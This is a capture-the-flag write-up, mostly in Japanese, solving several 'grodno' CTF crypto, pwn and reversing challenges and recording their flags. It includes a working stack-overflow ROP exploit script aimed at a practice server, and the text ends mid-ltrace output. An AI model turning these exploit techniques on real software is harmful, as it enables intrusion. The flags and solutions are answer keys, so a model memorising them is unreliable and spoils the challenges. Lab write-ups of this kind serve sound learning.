[*] Public Key (n, g) = (127386759514616156903183364437801368856533892090480485653212510857935224768052652526094493339204020704024456684581601159894364645916302126426334824514209104994383532868214374505240582942278135824849951839574607853815957611562994796843713893556868845972652585416803870148592549116440108087270886210332391634997, 127386759514616156903183364437801368856533892090480485653212510857935224768052652526094493339204020704024456684581601159894364645916302126426334824514209104994383532868214374505240582942278135824849951839574607853815957611562994796843713893556868845972652585416803870148592549116440108087270886210332391634998)
[*] Encrypted Balance = 5620298849110874502453436914499637956882442010851545906139377520660161687612768419484953369206072221469987024625088476101051291836490957229321779020205234643783568751245572933900985767815422788008753133769072476510609026345986767174216043303894065803193837030439048024756599040562477189901647618663431361320539216249857061611811482489041430268142103392464292582681809697794115269444494946349820509042515566214037681963875165489322121313993952995720240881566518406045958133642791787953458932436035115192521395348757249968325375395149259306843045080531721186403005208514888931720163915317322883159675111484564206505557
██╗ ██╗ ██████╗ ███╗ ███╗ ██████╗ ███╗ ███╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██████╗ ███████╗██████╗ █████╗ ██╗ ██╗██████╗
██║ ██║██╔═══██╗████╗ ████║██╔═══██╗████╗ ████║██╔═══██╗██╔══██╗██╔══██╗██║ ██║██║██╔════╝ ██╔════╝██╔══██╗██╔══██╗██║ ██║██╔══██╗
███████║██║ ██║██╔████╔██║██║ ██║██╔████╔██║██║ ██║██████╔╝██████╔╝███████║██║██║ █████╗ ██████╔╝███████║██║ ██║██║ ██║
██╔══██║██║ ██║██║╚██╔╝██║██║ ██║██║╚██╔╝██║██║ ██║██╔══██╗██╔═══╝ ██╔══██║██║██║ ██╔══╝ ██╔══██╗██╔══██║██║ ██║██║ ██║
██║ ██║╚██████╔╝██║ ╚═╝ ██║╚██████╔╝██║ ╚═╝ ██║╚██████╔╝██║ ██║██║ ██║ ██║██║╚██████╗ ██║ ██║ ██║██║ ██║╚██████╔╝██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝
Вы обнаружили банковский сервер, который хранит балансы клиентов в зашифрованном, с помощью схемы Paillier, виде. Сервер позволяет: просматривать зашифрованный баланс клиента и увеличивать баланс. Но есть проблема: сервер не проверяет, какое число вы 'добавляете' к балансу !
Сможете вы увеличить баланс до $1 000 000, не зная секретного ключа банка ?
===============
You have found a bank server that stores customer balances encrypted (using the Paillier scheme). The server allows you to: view the encrypted customer balance and increase the balance. But there is a problem: the server does not check what number you 'add' to the balance!
Can you increase the balance to $1,000,000 without knowing the bank's secret key?
[*] Server is running. Send your transactions as `Enc(amount)`.
>> Enc(amount) = 9953009296711621522389677486032126161856766128817834304219614415366399128800952219519587928076158458522285636818555354842871620763393614522401137487661682036012331336731708512663539612679109379860172387584513301960454777298142088281968532749140591454940854959093671853472961343007219981387645016211186225668908001955651399808152571920053825245451273562088385485898687856962753715159386455469857911696839925926996566351151091882320494463267914472736079334641731425076311833702056866752612806907706560440911033769682908888026797309436735371663621391958944495220612631903123468250781227295423441190822288013590016347535
[+] New Encrypted Balance = 7350723282781334915352854733228144732520229174038314265956914515064922570430842514215591129914016770645166141948927605595970826227663025494822160931053836717384115519704783339494876451716249348800589192151026275309685746464461567390212431173086120529638918724542920080551296929226902078599068272099885355883038120045295261077831325501885810840632657556910336923677660051215976256523612158096044833665986267075609051606399955734645690964525807111955100304270100308436162296275648351435392794902414353810865973925541350386524542560706903915580245428555332892195810025515972960579662848329184432744357006368003810428239
>> Enc(amount) = 1977727941354171501296172618880474617690680467508905085612833966738804884671163472521378503059588138935320815186980230592316794194870709645835377420858502363962726385262516988290924498705513515748709338538257857620452178855621728062274684310736632593840540192373742535532417536569922004075841867469742216409915245225010812852982187307181905904720735093208943929127524055447118765938910697498058490293572120040879882880528493370261096669200330032482723659817833646072534201599393601601831380584261142158355122997432098990388567649069375641043211195431059851246538834905600195733100393946937707870662204964618163784075
[+] New Encrypted Balance = 9472654582565347072562515053293087898174278365363036463020380682733579634265414766599916899523968184066233257346167885831950649771881247153942587641396548536425102260985329915776872235598470864021793467127090302520913441009324847832238060477370574729502834013156449421270082459568846368456406349029513465531288427551368636991645316911507760957110431261418724995980828919829063692341875917438734808056472320803845813232899930003604340946612488143035481047257060027901848875905113515454131493543906188273186842331447652617756646924740307049260314411588180790600231783398304274104181832573001574170421234673362880691090
Flag is: grodno{0ef4a0435442404854572843420932985430fee06}
grodno{0ef4a0435442404854572843420932985430fee06}
Intel order VS Network order (Misc)
BMPファイルが添付されているが、BMPのファイル構造のDIB header sizeの部分(オフセット0x0e~0x11)のエンディアンが逆になっているので、修正する。

修正した画像には以下のように書いてあった。
flag is:
y3s,_we_ch4ng3_h3ader_0f_bmp-f1le
grodno{y3s,_we_ch4ng3_h3ader_0f_bmp-f1le}
GoldenByte (Pwn)
Ghidraでデコンパイルする。
undefined8 main(void)
{
uint uVar1;
uint local_10;
undefined4 local_c;
_init_streams();
local_c = 0;
local_10 = 0;
puts("--- \'Golden Byte\' Lottery ---");
printf("Ready to test your luck? Enter your lottery ticket number: > ");
__isoc99_scanf(&DAT_0010206e,&local_10);
printf("\nChecking ticket number %d...\n",(ulong)local_10);
local_c = local_10;
uVar1 = local_c;
local_c._0_2_ = (short)local_10;
local_c = uVar1;
if (((short)local_c == -0x217) &&
(local_c._2_2_ = (short)(local_10 >> 0x10), local_c._2_2_ == -0x4120)) {
jackpot();
}
else {
puts("Sorry, your ticket didn\'t win. Better luck next time!");
}
return 0;
}
void jackpot(void)
{
char *__s;
__s = getenv("FLAG_VAL");
puts(__s);
return;
}
local_cの条件は以下の通り。
・下位16ビットが-0x217(=0xfde9)
・上位16ビットが-0x4120(0xbee0)
つまり、0xbee0fde9を指定すればよい。
>>> 0xbee0fde9
3202416105
$ nc ctf.mf.grsu.by 9074
--- 'Golden Byte' Lottery ---
Ready to test your luck? Enter your lottery ticket number: > 3202416105
Checking ticket number -1092551191...
grodno{D4dy4_m4TV31_Pr019r4l_kV4rT1RY_V_K421n0_V3D_n3_2N4L_PWN}
grodno{D4dy4_m4TV31_Pr019r4l_kV4rT1RY_V_K421n0_V3D_n3_2N4L_PWN}
StackSmasher (Pwn)
Ghidraでデコンパイルする。
undefined8 main(void)
{
_init_streams();
func();
return 0;
}
void func(void)
{
undefined1 local_28 [32];
printf("%s","Input username:");
read(0,local_28,0x80);
printf("Your name is %s",local_28);
return;
}
void step1(void)
{
first = 1;
return;
}
void step2(void)
{
second = 1;
return;
}
void win(void)
{
char *__s;
__s = getenv("FLAG_VAL");
if ((first != 0) && (second != 0)) {
puts(__s);
}
return;
}
BOFでstep1, step2, winの順でコールすればよい。
$ ROPgadget --binary StackSmasher | grep ": ret"
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
from pwn import *
if len(sys.argv) == 1:
p = remote('ctf.mf.grsu.by', 9078)
else:
p = process('./StackSmasher')
elf = ELF('./StackSmasher')
ret_addr = 0x401016
step1_addr = elf.symbols['step1']
step2_addr = elf.symbols['step2']
win_addr = elf.symbols['win']
payload = b'A' * 40
payload += p64(ret_addr)
payload += p64(step1_addr)
payload += p64(step2_addr)
payload += p64(win_addr)
data = p.recvuntil(b':')
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvrepeat(1)
print(data)
実行結果は以下の通り。
[+] Opening connection to ctf.mf.grsu.by on port 9078: Done
[*] '/mnt/hgfs/Shared/StackSmasher'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Input username:b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@\x00\x00\x00\x00\x00\xa4\x11@\x00\x00\x00\x00\x00\xb5\x11@\x00\x00\x00\x00\x00f\x11@\x00\x00\x00\x00\x00'
b'Your name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@"grodno{unCL3_M47V3y_w45_h3R3_w17H_0ld_5Ch00L_3xPL017}"\n'
[*] Closed connection to ctf.mf.grsu.by port 9078
grodno{unCL3_M47V3y_w45_h3R3_w17H_0ld_5Ch00L_3xPL017}
Hybrid Encryption (Reverse)
"grodno{"と"}"の間のみ0xaaとXORしてbase64エンコードしているので、元に戻す。
from base64 import *
enc = 'np2Z3p2c3s6YmZ3ezs2ZmM/Tnc7NmJmdz5yYm96cz8+Ym53Z3w=='
enc = b64decode(enc)
flag = ''.join([chr(c ^ 0xaa) for c in enc])
flag = 'grodno{%s}' % flag
print(flag)
grodno{473t76td237tdg32ey7dg237e621t6ee217su}
Dynamic Key (Reverse)
"grodno{"と"}"の間の文字列について、暗号化している。このときUNIXTIMEの整数値を元に鍵を生成しているが、結局0x7Fでマスクしているため、128パターンしか鍵はない。あとはブルートフォースで復号してprintableな文字列を取得して、フラグを得る。
from string import *
def decrypt(s, key):
d = b''
for i, c in enumerate(s):
v = (c ^ (i * 2)) - key
if v < 0:
return b''
d += bytes([v])
return d
def is_alnum_us(s):
try:
s = s.decode()
except:
return False
chars = ascii_letters + digits + '_'
for c in s:
if c not in chars:
return False
return True
expected = b'\x74\xab\x9a\x62\x95\x6b\x9f\x81\x6b\x87\xbd\x99\x81\xb9\x93\x98\xb5\x80\x8d\xa9\x5b\x4a\xb1\x8e\xac\xa7\x9c\xb9\xa9\xa4\xa8\xb1\x39\xdc\xd7\x26\xd5\xea\xee\xdb\xc8\xc7\xca\xf5\x39\xc8\xc0\xcb'
for key in range(128):
flag = decrypt(expected, key)
if flag != b'' and is_alnum_us(flag):
flag = 'grodno{%s}' % flag.decode()
print(flag)
break
grodno{Dyn4m1c_Key_is_Very_C0mplex_and_Inc0mprehens1ble}
Turing Award (Reverse)
コードからわかることは以下の通り。
・フラグの長さは30
・"grodno{"と"}"の間の2文字をペアとしたときのXORの値はenc[i]とkey[i]のXORと同じ
また、フラグの"{"と"}"の間は、name1-name2--name3の形式になっていて、チューリング賞を受賞した3名の女性の名前が付いているようである。
「turing award winners female」で検索すると、受賞者は次の3人しかいない。
・Frances Allen
・Barbara Liskov
・Shafi Goldwasser
これを踏まえ、平文を推測する。
>>> 0x6e ^ ord('M')
35
>>> ord('F') ^ ord('r')
52
>>> ord('B') ^ ord('a')
35
>>> ord('S') ^ ord('h')
59
最初は"Barbara"と推測できる。
>>> 0x49 ^ ord('Y')
16
>>> ord('r') ^ ord('b')
16
>>> 0x60 ^ ord('S')
51
>>> ord('a') ^ ord('r')
19
>>> ord('a') ^ ord('R')
51
途中合わない部分があったので、大文字を混ぜてみた。
>>> 0x9 ^ ord('E')
76
>>> ord('a') ^ ord('-')
76
>>> 0x78 ^ ord('C')
59
次は"Shafi"と推測できる。
>>> 0x75 ^ ord('R')
39
>>> ord('a') ^ ord('f')
7
>>> ord('a') ^ ord('F')
39
>>> 0x1 ^ ord('E')
68
>>> ord('i') ^ ord('-')
68
>>> 0x3f ^ ord('T')
107
>>> ord('-') ^ ord('F')
107
最後は"Frances"と推測できる。
>>> 0x58 ^ ord('K')
19
>>> ord('r') ^ ord('a')
19
>>> 0x68 ^ ord('E')
45
>>> ord('n') ^ ord('c')
13
>>> ord('n') ^ ord('C')
45
>>> 0x4f ^ ord('Y')
22
>>> ord('e') ^ ord('s')
22
以上の確認結果から、フラグを構成できる。
grodno{BarbaRa-ShaFi--FranCes}
Reverse Puzzle (Reverse)
"grodno{"と"}"の間の文字列sについて、puzzle(s, 5) == '789603251257384214725442633'が成り立つものを見つける。
puzzle関数は2飛びの文字列を2つ結合したものになっていて、今回はこれを5回行う。逆算する関数を作成し、元に戻す。
def rev_puzzle(s: str, step: int) -> str:
assert len(s) % 2 == 1
if step == 0:
return s
half = len(s) // 2
s1 = s[:half + 1]
s2 = s[half + 1:]
s = ''
for i in range(half):
s += s1[i]
s += s2[i]
s += s1[-1]
return rev_puzzle(s, step - 1)
enc = '789603251257384214725442633'
flag = rev_puzzle(enc, 5)
flag = 'grodno{%s}' % flag
print(flag)
grodno{774248325798612643250235431}
Compiled Python (Reverse)
$ strings main | grep python
pyi-python-flag
Failed to pre-initialize embedded python interpreter!
Failed to allocate PyConfig structure! Unsupported python version?
Failed to set python home path!
Failed to start embedded python interpreter!
blib-dynload/_bisect.cpython-310-x86_64-linux-gnu.so
blib-dynload/_blake2.cpython-310-x86_64-linux-gnu.so
blib-dynload/_bz2.cpython-310-x86_64-linux-gnu.so
blib-dynload/_codecs_cn.cpython-310-x86_64-linux-gnu.so
blib-dynload/_codecs_hk.cpython-310-x86_64-linux-gnu.so
blib-dynload/_codecs_iso2022.cpython-310-x86_64-linux-gnu.so
blib-dynload/_codecs_jp.cpython-310-x86_64-linux-gnu.so
blib-dynload/_codecs_kr.cpython-310-x86_64-linux-gnu.so
blib-dynload/_codecs_tw.cpython-310-x86_64-linux-gnu.so
blib-dynload/_contextvars.cpython-310-x86_64-linux-gnu.so
blib-dynload/_csv.cpython-310-x86_64-linux-gnu.so
blib-dynload/_datetime.cpython-310-x86_64-linux-gnu.so
blib-dynload/_decimal.cpython-310-x86_64-linux-gnu.so
blib-dynload/_hashlib.cpython-310-x86_64-linux-gnu.so
blib-dynload/_heapq.cpython-310-x86_64-linux-gnu.so
blib-dynload/_lzma.cpython-310-x86_64-linux-gnu.so
blib-dynload/_md5.cpython-310-x86_64-linux-gnu.so
blib-dynload/_multibytecodec.cpython-310-x86_64-linux-gnu.so
blib-dynload/_opcode.cpython-310-x86_64-linux-gnu.so
blib-dynload/_pickle.cpython-310-x86_64-linux-gnu.so
blib-dynload/_posixsubprocess.cpython-310-x86_64-linux-gnu.so
blib-dynload/_random.cpython-310-x86_64-linux-gnu.so
blib-dynload/_sha1.cpython-310-x86_64-linux-gnu.so
blib-dynload/_sha256.cpython-310-x86_64-linux-gnu.so
blib-dynload/_sha3.cpython-310-x86_64-linux-gnu.so
blib-dynload/_sha512.cpython-310-x86_64-linux-gnu.so
blib-dynload/_socket.cpython-310-x86_64-linux-gnu.so
blib-dynload/_statistics.cpython-310-x86_64-linux-gnu.so
blib-dynload/_struct.cpython-310-x86_64-linux-gnu.so
blib-dynload/array.cpython-310-x86_64-linux-gnu.so
blib-dynload/binascii.cpython-310-x86_64-linux-gnu.so
blib-dynload/fcntl.cpython-310-x86_64-linux-gnu.so
blib-dynload/grp.cpython-310-x86_64-linux-gnu.so
blib-dynload/math.cpython-310-x86_64-linux-gnu.so
blib-dynload/resource.cpython-310-x86_64-linux-gnu.so
blib-dynload/select.cpython-310-x86_64-linux-gnu.so
blib-dynload/unicodedata.cpython-310-x86_64-linux-gnu.so
blib-dynload/zlib.cpython-310-x86_64-linux-gnu.so
blibpython3.10.so.1.0
6libpython3.10.so.1.0
この実行ファイルはPython3.10の環境でPythonコードをelf化したもののようだ。pycを抽出し、その処理のメインとなる部分をデコンパイルする。
$ python3 pyinstxtractor.py main
[+] Processing main
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 6315185 bytes
[+] Found 54 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: main.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.10 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: main
You can now use a python decompiler on the pyc files within the extracted directory
$ pycdc main_extracted/main.pyc
from hashlib import sha256
password = 'th1s_1s_n0t_th3_p4ssw0rd_I_sw3ar'
enteredPassword = input('Enter password: ')
flag = 'grodno{' + sha256(enteredPassword.encode()).hexdigest()[:32] + '}'
if len(enteredPassword) == len(password) and enteredPassword == password:
print('You are right!')
print(flag)
入力するパスワードはth1s_1s_n0t_th3_p4ssw0rd_I_sw3arであることがわかったので、入力してみる。
$ ./main
Enter password: th1s_1s_n0t_th3_p4ssw0rd_I_sw3ar
You are right!
grodno{88ce08dee4f5c6c9a2188d49fd3e9fdd}
grodno{88ce08dee4f5c6c9a2188d49fd3e9fdd}
Little warm-up (Reverse)
Ghidraでデコンパイルする。
undefined8 main(int param_1,long param_2)
{
int iVar1;
ostream *poVar2;
long in_FS_OFFSET;
allocator local_b9;
allocator *local_b8;
allocator *local_b0;
string local_a8 [32];
string local_88 [32];
string local_68 [32];
string local_48 [40];
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
if (param_1 < 2) {
poVar2 = std::operator<<((ostream *)std::cout,"Usage: ./main.exe <password>");
std::ostream::operator<<(poVar2,std::endl<>);
}
else {
local_b8 = &local_b9;
std::string::string<>
(local_a8,"63f907ed0c04f2fe1936c0caca8cafd1105216d91aab062dc8b99539d17e8849",&local_b9
);
std::__new_allocator<char>::~__new_allocator((__new_allocator<char> *)&local_b9);
local_b0 = &local_b9;
std::string::string<>(local_88,*(char **)(param_2 + 8),&local_b9);
std::__new_allocator<char>::~__new_allocator((__new_allocator<char> *)&local_b9);
sha256(local_68);
iVar1 = std::string::compare(local_a8,local_68);
if (iVar1 == 0) {
poVar2 = std::operator<<((ostream *)std::cout,"You are right! Your flag: grodno{");
md5(local_48);
poVar2 = std::operator<<(poVar2,local_48);
poVar2 = std::operator<<(poVar2,"}");
std::ostream::operator<<(poVar2,std::endl<>);
std::string::~string(local_48);
}
else {
poVar2 = std::operator<<((ostream *)std::cout,"You are wrong");
std::ostream::operator<<(poVar2,std::endl<>);
}
std::string::~string(local_68);
std::string::~string(local_88);
std::string::~string(local_a8);
}
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return 0;
}
よくわからないので、ltraceしてみる。
$ ltrace ./main0.exe a
strlen("63f907ed0c04f2fe1936c0caca8cafd1"...) = 64
_Znwm(65) = 0x55f869ec22b0
memcpy(0x55f869ec22b0, "63f907ed0c04f2fe1936c0caca8cafd1"..., 64) = 0x55f869ec22b0
strlen("a") = 1
SHA256_Init(0x7ffeedfc3a40, 0x7ffeedfc3ce0, 0x7ffeedfc3ce0, 0x7ffeedfc617e) = 1
SHA256_Update(0x7ffeedfc3a40, 0x7ffeedfc3cf0, 1, 0x7ffeedfc3cf0) = 1
SHA256_Final(0x7ffeedfc3c40, 0x7ffeedfc3a40, 0x7ffeedfc3a40, 0) = 1
_ZNSt7__cxx1118basic_stringstreamIcSt11char_traitsIcESaIcEEC1Ev(0x7ffeedfc3ab0, 0, 0, 0) = 0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 0x7f319b063f80) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 0x7f319b063f80) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 0x7f319b063f80) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 202, 0x7ffeedfc3ac0, 0xffff) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 0x7ffeedfc3b61) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 0x7ffeedfc3b61) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 0x7ffeedfc3b61) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 151, 0x7ffeedfc3ac0, 0x7ffeedfc3b61) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 57) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 57) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 57) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 129, 0x7ffeedfc3ac0, 57) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 56) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 56) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 56) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 18, 0x7ffeedfc3ac0, 56) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 49) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 49) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 49) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 202, 0x7ffeedfc3ac0, 49) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 99) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 99) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 99) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 27, 0x7ffeedfc3ac0, 99) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 49) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 49) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 49) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 189, 0x7ffeedfc3ac0, 49) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 98) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 98) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 98) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 202, 0x7ffeedfc3ac0, 98 <unfinished ...>
_Znwm(513) = 0x55f869ec2300
<... _ZNSolsEi resumed> ) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 15) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 15) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 15) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 250, 0x7ffeedfc3ac0, 15) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 102) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 102) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 102) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 194, 0x7ffeedfc3ac0, 102) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 99) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 99) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 99) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 49, 0x7ffeedfc3ac0, 99) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 51) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 51) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 51) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 179, 0x7ffeedfc3ac0, 51) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 98) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 98) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 98) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 154, 0x7ffeedfc3ac0, 98) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 57) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 57) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 57) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 35, 0x7ffeedfc3ac0, 57) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 50) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 50) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 50) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 220, 0x7ffeedfc3ac0, 50) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 100) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St5_Setw(0x7ffeedfc3ac0, 2, 0x7ffeedfc3b48, 100) = 0x7ffeedfc3ac0
_ZStlsIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_St8_SetfillIS3_E(0x7ffeedfc3ac0, 48, 112, 100) = 0x7ffeedfc3ac0
_ZNSolsEi(0x7ffeedfc3ac0, 77, 0x7ffeedfc3ac0, 100) = 0x7ffeedfc3ac0
_ZNSolsEPFRSt8ios_baseS0_E(0x7ffeedfc3ac0, 0x55f84c5b1b0a, 0x55f84c5b1b0a, 52) = 0x7ffeedfc3ac0
